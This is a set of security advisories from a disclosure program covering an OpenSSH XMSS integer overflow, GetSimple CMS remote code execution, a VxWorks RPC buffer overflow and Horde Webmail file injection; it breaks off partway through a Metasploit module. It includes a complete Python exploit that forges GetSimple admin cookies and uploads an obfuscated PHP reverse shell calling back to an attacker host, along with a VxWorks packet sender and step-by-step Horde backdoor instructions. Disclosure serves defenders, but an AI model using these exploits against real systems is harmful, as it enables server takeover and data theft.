SSD Advisory – OpenSSH Pre-Auth XMSS Integer Overflow

Vulnerability Summary
The following advisory describes a Pre-Auth Integer Overflow in the XMSS Key Parsing Algorithm in OpenSSH.
CVE
CVE-2019-16905
Credit
An independent Security Researcher, Adam “pi3” Zabrocki, has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
OpenSSH version 7.7 up to the latest one (8.0) supporting XMSS keys (compiled with a defined WITH_XMSS macro).
Nevertheless, the bug is only there when OpenSSH is compiled via a compiler with data model ILP64, LLP64 or ILP32 (e.g. any 32 bits systems).
Vendor Response
The vulnerability was fixed in OpenSSH version 8.1
Vulnerability Details

OpenSSH

OpenSSH is a free version of the SSH connectivity tools which technical users of the Internet rely on. Users of telnet, rlogin, and ftp may not realize that their password is transmitted across the Internet unencrypted, but in fact it is.
OpenSSH encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other attacks. Additionally, OpenSSH provides secure tunneling capabilities and several authentication methods, and supports all SSH protocol versions.
OpenSSH supports several signing algorithms (for authentication keys) which can be divided in two groups depending on the mathematical properties they exploit:

  • DSA and RSA, which rely on the practical difficulty of factoring the product of two large prime numbers
  • ECDSA and Ed25519, which rely on the elliptic curve discrete logarithm problem

Elliptic curve cryptography (ECC) algorithms are a more recent addition to public key cryptosystems. One of their main advantages is their ability to provide the same level of security with smaller keys, which makes for less computationally intensive operations (i.e. faster key creation, encryption and decryption) and reduced storage and transmission requirements.
OpenSSH 7.7 add experimental support for PQC (Post Quantum Cryptography) XMSS keys (Extended Hash-Based Signatures) is designed to work in Post Quantum area. The code is not compiled in by default at this time.

XMSS

The eXtended Merkle Signature Scheme (XMSS) is the latest stateful hash-based signature scheme. It has the smallest signatures out of such schemes and comes with a multi-tree variant that solves the problem of slow key generation.
Moreover, it can be shown that XMSS is secure, making only mild assumptions on the underlying hash function. Especially, it is not required that the cryptographic hash function is collision-resistant for the security of XMSS.
In contrast to traditional signature schemes, the signature schemes used in XMSS are stateful, meaning the secret key changes over time. If a secret key state is used twice, no cryptographic security guarantees remain. In consequence, it becomes feasible to forge a signature on a new message.

The Vulnerability

Integer Overflow vulnerability causing a memory corruption bug was found during process of parsing XMSS private key. This process requires taking into account previously saved “state”, if available. A function responsible for handling XMSS saved “states” is prone to a memory corruption via integer overflow vulnerability:

int
sshkey_xmss_decrypt_state(const struct sshkey *k, struct sshbuf *encoded,
   struct sshbuf **retp)
{
...
    struct sshbuf *copy = NULL, *decrypted = NULL;
...
    size_t keylen, ivlen, authlen, aadlen;
    u_int blocksize, encrypted_len, index;
...
    blocksize = cipher_blocksize(cipher);
    keylen = cipher_keylen(cipher);
    ivlen = cipher_ivlen(cipher);
    authlen = cipher_authlen(cipher);
...
    if ((copy = sshbuf_fromb(encoded)) == NULL ||
        (decrypted = sshbuf_new()) == NULL ||
        (iv = malloc(ivlen)) == NULL) {
        r = SSH_ERR_ALLOC_FAIL;
        goto out;
    }
...
    if (sshbuf_len(encoded) < sizeof(XMSS_MAGIC) ||
...
    if ((r = sshbuf_consume(encoded, sizeof(XMSS_MAGIC))) != 0 ||
        (r = sshbuf_get_u32(encoded, &index)) != 0 ||
        (r = sshbuf_get_u32(encoded, &encrypted_len)) != 0)
        goto out;
...
    /* check size of encrypted key blob */
    if (encrypted_len < blocksize || (encrypted_len % blocksize) != 0) {
        r = SSH_ERR_INVALID_FORMAT;
        goto out;
    }
    /* check that an appropriate amount of auth data is present */
[1] if (sshbuf_len(encoded) < encrypted_len + authlen) {
        r = SSH_ERR_INVALID_FORMAT;
        goto out;
    }
    aadlen = sshbuf_len(copy) - sshbuf_len(encoded);
...
    /* decrypt private state of key */
[2] if ((r = sshbuf_reserve(decrypted, aadlen + encrypted_len, &dp)) != 0 ||
        (r = cipher_init(&ciphercontext, cipher, key, keylen,
        iv, ivlen, 0)) != 0 ||
[3]     (r = cipher_crypt(ciphercontext, 0, dp, sshbuf_ptr(copy),
        encrypted_len, aadlen, authlen)) != 0)
        goto out;
    /* there should be no trailing data */
    if ((r = sshbuf_consume(encoded, encrypted_len + authlen)) != 0)
        goto out;
    if (sshbuf_len(encoded) != 0) {
        r = SSH_ERR_INVALID_FORMAT;
        goto out;
    }
    /* remove AAD */
    if ((r = sshbuf_consume(decrypted, aadlen)) != 0)
        goto out;
...
}

If an attacker generates a state where ‘aadlen’ + ‘encrypted_len’ is bigger than INT_MAX, then it is possible to successfully pass verification at [1].
Additionally, if ‘authlen’ + ‘encrypted_len’ is also bigger than INT_MAX, then an integer overflow at [2] results in allocating a smaller buffer than desired.
Immediate overflow can happen at [3] where cipher_crypt() is called. This function operates as follows:

  • Copy ‘aadlen’ bytes (without en/decryption) from ‘src’ to ‘dest’.
  • Theses bytes are treated as additional authenticated data for authenticated encryption modes.
  • En/Decrypt ‘len’ bytes at offset ‘aadlen’ from ‘src’ to ‘dest’.
  • Use ‘authlen’ bytes at offset ‘len’+’aadlen’ as the authentication tag.
  • This tag is written on encryption and verified on decryption.

Because of the nature of cipher_crypt() function, it is possible to overflow a lot of useful data before a crash, because ‘copy’ is not being done in a 1 single shot but chunk-by-chunk during crypto operation. Nevertheless, it is not a trivial task.

Vectors of Attack

Any OpenSSH functionality which can parse private XMSS key is vulnerable. E.g. If ‘sshd’ daemon is configured to use an XMSS host key that is malformed, it will crash upon any attempt to connect to this server:

root@ubuntu:~/orig/openssh-8.0p1# gdb -q /root/orig/openssh-8.0p1/sshd
Reading symbols from /root/orig/openssh-8.0p1/sshd...done.
(gdb) r -d
Starting program: /root/orig/openssh-8.0p1/sshd -d
debug1: sshd version OpenSSH_8.0, OpenSSL 1.0.2g  1 Mar 2016
debug1: private host key #0: ssh-xmss@openssh.com SHA256:vVBn0NvOCLKdVFT3CtEFxNHiEgJ1xXBhHdr/YXq5tGc
debug1: rexec_argv[0]='/root/orig/openssh-8.0p1/sshd'
debug1: rexec_argv[1]='-d'
debug1: Set /proc/self/oom_score_adj from 0 to -1000
debug1: Bind to port 65535 on 0.0.0.0.
Server listening on 0.0.0.0 port 65535.
debug1: Bind to port 65535 on ::.
Server listening on :: port 65535.
<Someone connects>
debug1: Server will not fork when running in debugging mode.
debug1: rexec start in 5 out 5 newsock 5 pipe -1 sock 8
process 8844 is executing new program: /root/orig/openssh-8.0p1/sshd
debug1: inetd sockets after dupping: 3, 3
Connection from 127.0.0.1 port 39378 on 127.0.0.1 port 65535
debug1: Local version string SSH-2.0-OpenSSH_8.0
debug1: Remote protocol version 2.0, remote software version OpenSSH_8.0
debug1: match: OpenSSH_8.0 pat OpenSSH* compat 0x04000000
debug1: permanently_set_uid: 108/65534 [preauth]
debug1: list_hostkey_types: ssh-xmss@openssh.com [preauth]
debug1: SSH2_MSG_KEXINIT sent [preauth]
debug1: SSH2_MSG_KEXINIT received [preauth]
debug1: kex: algorithm: curve25519-sha256 [preauth]
debug1: kex: host key algorithm: ssh-xmss@openssh.com [preauth]
debug1: kex: client->server cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none [preauth]
debug1: kex: server->client cipher: chacha20-poly1305@openssh.com MAC: <implicit> compression: none [preauth]
debug1: expecting SSH2_MSG_KEX_ECDH_INIT [preauth]
Program received signal SIGSEGV, Segmentation fault.
0xb7e40723 in ?? () from /lib/i386-linux-gnu/libcrypto.so.1.0.0
(gdb) bt
#0  0xb7e40723 in ?? () from /lib/i386-linux-gnu/libcrypto.so.1.0.0
#1  0x0e66e054 in ?? ()
#2  0xa2a4b21b in ?? ()
...
#195 0xca2d8e00 in ?? ()
#196 0xa442f816 in ?? ()
#197 0x0000d868 in ?? ()
#198 0x00000000 in ?? ()
(gdb) i r
eax            0xba	186
ecx            0xb0afbbd0	-1330660400
edx            0x4fa0c440	1335936064
ebx            0xb0ae4770	-1330755728
esp            0xbfffebcc	0xbfffebcc
ebp            0x4f0b80	0x4f0b80
esi            0x4f1e46	5185094
edi            0x4f0e96	5181078
eip            0xb7e40723	0xb7(gdb) e40723
eflags         0x210282	[ SF IF RF ID ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/i $eip
=> 0xb7e40723:	movups -0x10(%edx,%ecx,1),%xmm0
(gdb)

If someone configures ‘authorized_key’ to use XMSS public key and keep private key to be able to connect to the server, ‘ssh’ client will crash:

pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh -i ~/.ssh/id_xmss 127.0.0.1 -p 65535 -oHostKeyAlgorithms="ssh-xmss@openssh.com" -oPubkeyAcceptedKeyTypes="ssh-xmss@openssh.com" -l test
verify:: idx = 20
Segmentation fault
pi3@ubuntu:~/orig/openssh-8.0p1$

If someone tries to add this key to ssh-agent, it will crash too:

pi3@ubuntu:~/orig/openssh-8.0p1$ rm -rf ~/.ssh/*
pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh-agent
SSH_AUTH_SOCK=/tmp/ssh-VEgZcFmzWZ2o/agent.8927; export SSH_AUTH_SOCK;
SSH_AGENT_PID=8928; export SSH_AGENT_PID;
echo Agent pid 8928;
pi3@ubuntu:~/orig/openssh-8.0p1$ SSH_AUTH_SOCK=/tmp/ssh-VEgZcFmzWZ2o/agent.8927; export SSH_AUTH_SOCK;
pi3@ubuntu:~/orig/openssh-8.0p1$ SSH_AGENT_PID=8928; export SSH_AGENT_PID;
pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh-add -M 2
pi3@ubuntu:~/orig/openssh-8.0p1$ cp ~/p_key_bug/* ~/.ssh/
pi3@ubuntu:~/orig/openssh-8.0p1$ ./ssh-add -M 2
Segmentation fault
pi3@ubuntu:~/orig/openssh-8.0p1$

From the real world cases, many hosting services allow the user to upload user’s own pair of private/public keys for the authentication. Then it can be automatically consumed when creating new VMs. They need to parse it so an attacker can upload a malicious key and cause vulnerability during parsing process. Examples include Azure Key Vault, Amazon Key Management Service (KMS) or Cloud Key Management Service by Google Cloud. Any Key management service might be a vector of the attack.

SSD Advisory – GetSimple CMS Unauthenticated Remote Code Execution

Vulnerabilities Summary
The following advisory describes a vulnerability in GetSimple CMS which allows unauthenticated attackers to perform Remote Code Execution.
CVE
CVE-2019-11231
Credit
An independent Security Researcher, truerand0m, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
GetSimple CMS version 3.3.15 (Latest at the time of writing this post) and before.
Vendor Response
We have notified the vendor on the 21/1/2019 and sent few reminder emails but got no response from the vendor.
Vulnerability Details
An insufficient input sanitation is in the theme-edit.php file allows to upload files with arbitrary content (PHPcode for example). This vulnerability can be triggered by an authenticated user, however authentication can be bypassed.
According to the official installation documentation, specially, step 10, an admin is required to upload all the files, including the .htaccess files and run a health check.

However, what is overlooked is that Apache by default does not enable “allowoverride” directive anymore so we can expose passwords:
http://localhost/GetSimpleCMS-3.3.15/data/users/admin.xml

<item>
  <USR>admin</USR>
  <NAME>zo</NAME>
  <PWD>a94a8fe5ccb19ba61c4c0873d391e987982fbbd3</PWD>
  <EMAIL>pwning@zo</EMAIL>
  <HTMLEDITOR>1</HTMLEDITOR>
  <TIMEZONE/>
  <LANG>en_US</LANG>
</item>

The problem is that the passwords are hashed so we need a way to bypass this issue. We can access the API key in:
http://localhost/GetSimpleCMS-3.3.15/data/other/authorization.xml

<item>
  <apikey>44769f621e9b7db1bb19adbdf659b015</apikey>
</item>

What this allows us to do is target the session state, since they decided to roll their own implementation. Inside of admin/inc/configuration.php we see the following code:

$site_full_name     = 'GetSimple';
$site_version_no    = '3.3.15';
$name_url_clean     = lowercase(str_replace(' ','-',$site_full_name));
$ver_no_clean       = str_replace('.','',$site_version_no);
$site_link_back_url = 'http://get-simple.info/';
// cookie config
$cookie_name = lowercase($name_url_clean) .'_cookie_'. $ver_no_clean; // non-hashed name of cookie

The cookie_name is crafted information that can be leaked from the frontend (site name and version). Then, later in admin/inc/cookie_functions.php we can see the following code:

/**
 * Check Login Cookie
 *
 * @since 1.0
 * @uses $cookie_login
 * @uses cookie_check
 * @uses redirect
 */
function login_cookie_check() {
    global $cookie_login;
    if(cookie_check()) {
        create_cookie();
    } else {
        $qstring = filter_queryString(array('id'));
        $redirect_url = $cookie_login.'?redirect='.myself(FALSE).'?'.$qstring;
        redirect($redirect_url);
    }
}
function cookie_check() {
    global $USR,$SALT,$cookie_name;
    $saltUSR = $USR.$SALT;
    $saltCOOKIE = sha1($cookie_name.$SALT);
    if(isset($_COOKIE[$saltCOOKIE])&&$_COOKIE[$saltCOOKIE]==sha1($saltUSR)) {
        return TRUE; // Cookie proves logged in status.
    } else {
        return FALSE;
    }
}
/**
 * Create Cookie
 *
 * @since 1.0
 * @uses $USR
 * @uses $SALT
 * @uses $cookie_time
 * @uses $cookie_name
 */
function create_cookie() {
  global $USR,$SALT,$cookie_time,$cookie_name;
  $saltUSR    = sha1($USR.$SALT);
  $saltCOOKIE = sha1($cookie_name.$SALT);
  gs_setcookie('GS_ADMIN_USERNAME', $USR);
  gs_setcookie($saltCOOKIE, $saltUSR);
}
/**
 * set a gs cookie
 * @since  3.3.5
 * @param  str $id    cookie id
 * @param  str $value value of cookie
 * @return bool       true if headers not sent
 */
function gs_setcookie($id,$value){
    GLOBAL $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly;
    $expire = time() + $cookie_time;
    // debugLog('set cookie: '.implode(',',array($id, $value, $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly)));
    return setcookie($id, $value, $expire, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly);
}
/**
 * Unset a gs cookie
 * @since  3.3.5
 * @param  str $id id of cookie
 * @return bool       true if headers not sent
 */
function gs_unsetcookie($id){
    GLOBAL $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly;
    // debugLog('unset cookie: '.implode(',',array($id, false, $cookie_time, $cookie_path, $cookie_domain, $cookie_secure, $cookie_httponly)));
    return setcookie($id,false,1,$cookie_path,$cookie_domain,$cookie_secure, $cookie_httponly);
}

If someone leaks the API key (44769f621e9b7db1bb19adbdf659b015) and the admin username (admin) then they can bypass authentication. To do so, they need to supply a cookie that is set to:
sha1(getsimple_cookie_3315 + 44769f621e9b7db1bb19adbdf659b015) = sha1(admin + 44769f621e9b7db1bb19adbdf659b015)
Cookie: GS_ADMIN_USERNAME {username};sha1(getsimple_cookie_{cmsversion}{salt})=sha1({username}{salt});
The vulnerability exists in the admin/theme-edit.php file. This file checks for forms submissions via POST request and for the CSRF nonce passed. If the nonce sent is correct then the file provided by the user is uploaded.

if((isset($_POST['submitsave']))){
    # check for csrf
    if (!defined('GSNOCSRF') || (GSNOCSRF == FALSE) ) {
        $nonce = $_POST['nonce'];
        if(!check_nonce($nonce,"save")){ die("CSRF detected!"); }
    }
    # save edited template file
    $SavedFile = $_POST['edited_file'];
    $FileContents=get_magic_quotes_gpc()?stripslashes($_POST['content']):$_POST['content'];
    # [1]
    $fh = fopen(GSTHEMESPATH . $SavedFile, 'w') or die("can't open file");
    fwrite($fh, $FileContents);
    fclose($fh);
    $success = sprintf(i18n_r('TEMPLATE_FILE'), $SavedFile);
}

The vulnerability is a path traversal allowing to write outside the jailed themes directory root. However, we don’t even need it due to the .htaccess assumption, we can write into the same directory to gain a shell.
The other issue here is that there isn’t another check on the extension before saving the file. The file is being saved with the assumption that the parameter `content` is safe. This allows the creation of web accessible and executable files with arbitrary content.
Exploit

import re
import sys
import socket
import hashlib
import requests
import telnetlib
from threading import Thread
from xml.etree import ElementTree
class gscms_pwner:
    def __init__(self, target, path, username, cb_host, cb_port):
        self.target  = target
        self.path    = path
        self.un      = username
        self.cb_host = cb_host
        self.cb_port = cb_port
        self.version = None
        self.apikey  = None
    def set_headers(self):
        self.h = {
            'Content-Type':'application/x-www-form-urlencoded',
            'Cookie': self.cookies
        }
    def set_cookies(self):
        self.cookies = "GS_ADMIN_USERNAME=%s;%s=%s" % (self.un, self.get_cookie_name(), self.get_cookie_value())
        self.set_headers()
    def get_cookie_name(self):
        cn = "getsimple_cookie_%s%s" % (self.version.replace(".", ""), self.apikey)
        sha1 = hashlib.sha1()
        sha1.update(cn)
        return sha1.hexdigest()
    def get_cookie_value(self):
        cv = "%s%s" % (self.un, self.apikey)
        sha1 = hashlib.sha1()
        sha1.update(cv)
        return sha1.hexdigest()
    def get_version(self):
        print "(+) fingerprinting the targets version"
        r = requests.get("http://%s%sadmin/index.php" % (self.target, self.path))
        match = re.search("jquery.getsimple.js\?v=(.*)\"", r.text)
        if match:
            self.version = match.group(1)
            print "(+) found version: %s" % self.version
            return True
        return False
    def check_htaccess(self):
        print "(+) checking .htaccess exposure..."
        r = requests.get("http://%s%sdata/other/authorization.xml" % (self.target, self.path))
        if r.ok:
            tree = ElementTree.fromstring(r.content)
            self.apikey = tree[0].text
            print "(+) leaked key: %s" % self.apikey
            return True
        return False
    def check_username_disclosure(self):
        print "(+) no username provided, attempting username leak..."
        r = requests.get("http://%s%sdata/users/" % (self.target, self.path))
        match = re.search("href=\"(.*).xml\"", r.text)
        if match:
            self.un = match.group(1)
            print "(+) found username: %s" % self.un
            return True
        return False
    def get_nonce(self):
        r = requests.get("http://%s%sadmin/theme-edit.php" % (self.target, self.path), headers=self.h)
        m = re.search('nonce" type="hidden" value="(.*)"', r.text)
        if m:
            print("(+) obtained csrf nonce: %s" % m.group(1))
            return m.group(1)
        return None
    def upload(self, fname, content):
            n = self.get_nonce()
            if n != None:
                try:
                    p = {
                        'submitsave': 2,
                        'edited_file': fname,
                        'content': content,
                        'nonce': n
                    }
                    r = requests.post("http://%s%sadmin/theme-edit.php" % (self.target, self.path), headers=self.h, data=p)
                    if 'CSRF detected!' not in r.text:
                        print('(+) shell uploaded to http://%s%stheme/%s' % (self.target, self.path, fname))
                        return True
                    else: print("(-) couldn't upload shell %s " % fname)
                except Exception as e:
                    print(e)
            return False
    # build the reverse php shell
    def build_php_code(self):
        phpkode  = ("""
        @set_time_limit(0); @ignore_user_abort(1); @ini_set('max_execution_time',0);""")
        phpkode += ("""$dis=@ini_get('disable_functions');""")
        phpkode += ("""if(!empty($dis)){$dis=preg_replace('/[, ]+/', ',', $dis);$dis=explode(',', $dis);""")
        phpkode += ("""$dis=array_map('trim', $dis);}else{$dis=array();} """)
        phpkode += ("""if(!function_exists('LcNIcoB')){function LcNIcoB($c){ """)
        phpkode += ("""global $dis;if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {$c=$c." 2>&1\\n";} """)
        phpkode += ("""$imARhD='is_callable';$kqqI='in_array';""")
        phpkode += ("""if($imARhD('popen')and!$kqqI('popen',$dis)){$fp=popen($c,'r');""")
        phpkode += ("""$o=NULL;if(is_resource($fp)){while(!feof($fp)){ """)
        phpkode += ("""$o.=fread($fp,1024);}}@pclose($fp);}else""")
        phpkode += ("""if($imARhD('proc_open')and!$kqqI('proc_open',$dis)){ """)
        phpkode += ("""$handle=proc_open($c,array(array(pipe,'r'),array(pipe,'w'),array(pipe,'w')),$pipes); """)
        phpkode += ("""$o=NULL;while(!feof($pipes[1])){$o.=fread($pipes[1],1024);} """)
        phpkode += ("""@proc_close($handle);}else if($imARhD('system')and!$kqqI('system',$dis)){ """)
        phpkode += ("""ob_start();system($c);$o=ob_get_contents();ob_end_clean(); """)
        phpkode += ("""}else if($imARhD('passthru')and!$kqqI('passthru',$dis)){ob_start();passthru($c); """)
        phpkode += ("""$o=ob_get_contents();ob_end_clean(); """)
        phpkode += ("""}else if($imARhD('shell_exec')and!$kqqI('shell_exec',$dis)){ """)
        phpkode += ("""$o=shell_exec($c);}else if($imARhD('exec')and!$kqqI('exec',$dis)){ """)
        phpkode += ("""$o=array();exec($c,$o);$o=join(chr(10),$o).chr(10);}else{$o=0;}return $o;}} """)
        phpkode += ("""$nofuncs='no exec functions'; """)
        phpkode += ("""if(is_callable('fsockopen')and!in_array('fsockopen',$dis)){ """)
        phpkode += ("""$s=@fsockopen('tcp://%s','%d');while($c=fread($s,2048)){$out = ''; """ % (self.cb_host, self.cb_port))
        phpkode += ("""if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
        phpkode += ("""}elseif (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit'){break;}else{ """)
        phpkode += ("""$out=LcNIcoB(substr($c,0,-1));if($out===false){fwrite($s,$nofuncs); """)
        phpkode += ("""break;}}fwrite($s,$out);}fclose($s);}else{ """)
        phpkode += ("""$s=@socket_create(AF_INET,SOCK_STREAM,SOL_TCP);@socket_connect($s,'%s','%d'); """ % (self.cb_host, self.cb_port))
        phpkode += ("""@socket_write($s,"socket_create");while($c=@socket_read($s,2048)){ """)
        phpkode += ("""$out = '';if(substr($c,0,3) == 'cd '){chdir(substr($c,3,-1)); """)
        phpkode += ("""} else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') { """)
        phpkode += ("""break;}else{$out=LcNIcoB(substr($c,0,-1));if($out===false){ """)
        phpkode += ("""@socket_write($s,$nofuncs);break;}}@socket_write($s,$out,strlen($out)); """)
        phpkode += ("""}@socket_close($s);} """)
        return phpkode
    def handler(self):
        print "(+) starting handler on port %d" % self.cb_port
        t = telnetlib.Telnet()
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.bind(("0.0.0.0", self.cb_port))
        s.listen(1)
        conn, addr = s.accept()
        print "(+) connection from %s" % addr[0]
        t.sock = conn
        print "(+) pop thy shell!"
        t.interact()
    def exec_code(self):
        handlerthr = Thread(target=self.handler)
        handlerthr.start()
        requests.get("http://%s/%s/theme/poc.php" % (self.target, self.path))
    def exploit(self):
        print "(+) targeting: http://%s%s" % (self.target, self.path)
        if self.get_version():
            if self.check_htaccess():
                if self.un == None:
                    # requires directory listing
                    self.check_username_disclosure()
                self.set_cookies()
                self.upload('poc.php', "<?php %s" % self.build_php_code())
                print "(+) triggering connectback to: %s:%d" % (self.cb_host, self.cb_port)
                self.exec_code()
        else:
            print "(-) invalid target uri!"
            sys.exit(-1)
def main():
    if len(sys.argv) < 4:
        print "(+) usage: %s <target> <path> <connectback:port> [username]" % sys.argv[0]
        print "(+) eg: %s 172.16.175.156 /" % sys.argv[0]
        print "(+) eg: %s 172.16.175.156 /GetSimpleCMS-3.3.15/ 172.16.175.1:909" % sys.argv[0]
        print "(+) eg: %s 172.16.175.156 /GetSimpleCMS-3.3.15/ 172.16.175.1:909 admin" % sys.argv[0]
        sys.exit(1)
    t = sys.argv[1]
    p = sys.argv[2]
    if not p.endswith("/"):
        p += "/"
    if not p.startswith("/"):
        p = "/%s" % p
    if ":" not in sys.argv[3]:
        cb_port = 4444
        cb_host = sys.argv[3]
    else:
        cb_port = sys.argv[3].split(":")[1]
        cb_host = sys.argv[3].split(":")[0]
        if not cb_port.isdigit():
            cb_port = 4444
        else:
            cb_port = int(cb_port)
    u = None
    if len(sys.argv) == 5:
        u = sys.argv[4]
    gp = gscms_pwner(t, p, u, cb_host, cb_port)
    gp.exploit()
if __name__ == '__main__':
    main()

SSD Advisory – VxWorks RPC Buffer Overflow

Vulnerability Summary
The following advisory describes a vulnerability found in the Remote Procedure Call (RPC) component of the VxWorks real-time Opearting System, which suffers from a buffer overflow, this buffer overflow can be exploited to cause the component to execute arbitrary code.
CVE
CVE-2019-9865
Credit
An independent Security Researcher, Yu Zhou, has reported this vulnerability to SSD Secure Disclosure program.
Affected systems
VxWorks OS version 6.6
Vendor Response

“We’ve gone through our supported versions of VxWorks and found the versions affected are 6.9 before 6.9.1. We released the update to our customers today. Except in special circumstances, we only release statements and fixes for supported products. We know you found this vulnerability in an unsupported version of VxWorks. We won’t have a code update for that, but a mitigation is to disable CONFIG_RPC. This will be published in NVD as CVE-2019-9865. It should be public shortly. Thank you for working with us to resolve this problem. We hope to work with you in the future if you have found other vulnerabilities, and we may have other questions for you.”

Vulnerability Details
As previously mentioned, the vulnerability is inside the RPC component. The vulnerable function which contains the buffer overflow is _svcauth_unix. At _svcauth_unix + 0x67, will get the value 0xffffffff from the malicious packet (content will be viewed later).

Afterwards, in the cmp eax, 0FFh it will check whether the value (packet content size) is greater than 255 without considering the option of a negative value. The value 0xffffffff is used as the third parameter (nbytes) of the bcopy function, which will finaly cause a buffer overflow.

This is the packet that will be sent to the RPC Service:

Exploit

import socket
host = "192.168.15.199"
rpcPort = 111
f = open("pkt", 'rb') # pkt is the file which contains the payload to send.
data = f.read()
f.close()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, rpcPort))
sock.send(data)
sock.close()

SSD Advisory – Horde Groupware Webmail Authenticated Arbitrary File Injection to RCE

Vulnerabilities Summary
The following advisory discusses an arbitrary file injection vulnerability that leads to remote code execution in Horde Groupware Webmail. This vulnerability can be exploited by any authenticated, unprivileged user which able to create a malicious PHP file under the Horde web root and gain arbitrary code execution on the server. The vulnerability is located in the core Horde source code and has been proven exploitable with the installed default Turba address book component.
CVE
CVE-2019-9858
Credit
An independent security researcher, Ratiosec, has reported this vulnerability to SSD Secure Disclosur program.
Affected systems
The exploit has been proven working with the stable release Horde Groupware Webmail 5.2.22 and 5.2.17. Other versions may also be affected.
Vendor Response
“Here is the proposed fix for this vulnerability. It should be released in Horde_Form in a day or two.”

iff --git a/lib/Horde/Form/Type.php b/lib/Horde/Form/Type.php
index e92c790..f1e8157 100644
--- a/lib/Horde/Form/Type.php
+++ b/lib/Horde/Form/Type.php
@@ -1205,7 +1205,7 @@ class Horde_Form_Type_image extends Horde_Form_Type {
              /* Get the temp file if already one uploaded, otherwise create a
               * new temporary file. */
              if (!empty($upload['img']['file'])) {
-                $tmp_file = Horde::getTempDir() . '/' .
$upload['img']['file'];
+                $tmp_file = Horde::getTempDir() . '/' .
basename($upload['img']['file']);
              } else {
                  $tmp_file = Horde::getTempFile('Horde', false);

Vulnerability Details
The Horde file “Horde/Form/Type.php” contains the vulnerable class that handles the image upload in forms.
When the “Horde_Form_Type_image” method “onSubmit()” is called on uploads it invokes the functions “getImage()” and “_getUpload()”, which uses unsanitized user input as path to save the image.

The unsanitized POST parameter “object[photo][img][file]” is saved in the
“$upload[‘img’][‘file’]” PHP variable, allowing an attacker to manipulate the “$tmp_file” passed to “move_uploaded_file()” to save the uploaded file.
Set the parameter to e.g. “../usr/share/horde/static/bd.php” to write a PHP backdoor inside the web root. The “static/” destination folder is a good candidate to drop the backdoor because is always writable in Horde installations.
The unsanitized POST parameter went probably unnoticed because it’s never submitted by the forms which default to securely use a random path.
Exploit
1) Log into the Horde Groupware Webmail as normal user.
2) Access the “New Contact” view via “Address Book” in the menu.
3) Create a PHP backdoor file on your disk.
4) Fill the mandatory fields submitting the PHP backdoor in the “Photo” file field. The file name is irrelevant.

5) Click the Add button and intercept the outgoing HTTP request using Burp Suite. You should see the POST data including the uploaded PHP backdoor.

6) Add the new POST field “object[photo][img][file]” with the path to traverse the temporary folder and save the PHP backdoor under the “static/” folder. Two path traversals have been found working in different installations:
A. ../usr/share/horde/static/bd.php , working with Horde installed with “apt-get”
B. ../var/www/html/horde/static/bd.php”, working with Horde manually installed with PEAR

7) Forward the request to the target server.
8) Use the uploaded PHP file to execute arbitrary commands.

PoC Code

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper
  def initialize(info = {})
    super(update_info(
      info,
      'Name'            => 'Horde Turba File Upload Vulnerability',
      'Description'     => %q{
          Horde Groupware Webmail contains a flaw that allows an authenticated remote
          attacker to execute arbitrary PHP code. The exploitation requires the Turba
          subcomponent to be installed. This module was tested on versions 5.2.22 and 5.2.17.
        },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Ratiosec', # Vulnerability Disclosure and module
        ],
      'References'      =>
        [
        ],
      'DisclosureDate'  => 'Aug 17 2017',
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [
    ['Automatic', { }],
    ['PEAR', { 'path': '/var/www/html/'}],
    ['Ubuntu', { 'path': '/usr/share/horde/' }],
    ],
      'DefaultTarget'   => 0
    ))
    register_options(
      [
        OptString.new('TARGETURI',  [true, 'The base path to the web application', '/']),
        OptString.new('USERNAME',   [true, 'The username to authenticate with']),
        OptString.new('PASSWORD',   [true, 'The password to authenticate with'])
      ])
  end
  def check
    vprint_status("Authenticating using #{username}:#{password}")
    cookie = horde_login(username, password)
    return Exploit::CheckCode::Unknown unless cookie
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, '/turba/add.php'),
      'cookie'      => cookie
    )
    if res && res.code == 200
    if res.body.include?('Groupware 5.2.22') || res.body.include?('Groupware 5.2.17')
    return Exploit::CheckCode::Vulnerable
      end
      return Exploit::CheckCode::Appears
    end
    Exploit::CheckCode::Safe
  end
  def username
    datastore['USERNAME']
  end
  def password
    datastore['PASSWORD']
  end
  def horde_login(user, pass)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, 'login.php')
    )
    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    session_cookie = res.get_cookies
    vprint_status("Logging in...")
    res = send_request_cgi(
      'method'      => 'POST',
      'uri'         => normalize_uri(target_uri, 'login.php'),
      'cookie'      => session_cookie,
      'vars_post'   => {
        'horde_user'  => user,
        'horde_pass'  => pass,
        'login_post'    => '1'
      }
    )
    return res.get_cookies if res && res.code == 302
    nil
  end
  def get_tokens(cookie)
    res = send_request_cgi(
      'method'      => 'GET',
      'uri'         => normalize_uri(target_uri, 'turba', 'add.php'),
      'cookie'      => cookie
    )
    if res && res.code == 200
      if res.body.scan /turba\/add\.php\?source=(.+)"/
          source_token = Regexp.last_match.to_a[1..-1].find{|x| x != "favourites" }
